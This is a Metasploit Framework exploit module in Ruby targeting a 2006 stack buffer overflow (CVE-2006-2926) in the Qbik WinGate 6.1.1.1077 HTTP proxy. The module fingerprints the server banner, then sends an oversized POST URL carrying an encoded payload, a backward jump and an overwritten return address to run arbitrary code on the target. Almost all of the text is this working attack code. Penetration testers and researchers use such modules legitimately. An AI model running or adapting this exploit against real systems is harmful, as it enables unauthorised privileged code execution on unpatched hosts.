Qbik WinGate WWW Proxy Server URL Processing Overflow

`##  
# $Id: qbik_wingate_wwwproxy.rb 8547 2010-02-18 15:58:26Z patrickw $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Qbik WinGate version  
6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the   
HTTP proxy service on port 80, a remote attacker could overflow  
a buffer and execute arbitrary code.  
},  
'Author' => 'patrick',  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 8547 $',  
'References' =>   
[   
[ 'CVE', '2006-2926' ],  
[ 'OSVDB', '26214' ],  
[ 'BID', '18312' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi  
],  
'Privileged' => true,  
'DisclosureDate' => 'Jun 07 2006',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(80)  
], self.class)  
end  
  
def check  
connect  
sock.put("GET /\r\n\r\n") # Malformed request to get proxy info  
banner = sock.get_once  
if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
buff = Rex::Text.rand_text_alphanumeric(3000)  
buff[1200, 1000] = payload.encoded # jmp here  
buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi  
buff[2284, 4] = [target['Ret']].pack('V') #eip  
  
sploit = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"  
  
sock.put(sploit)  
sock.get_once(-1, 3)  
  
handler  
disconnect  
end  
  
end  
`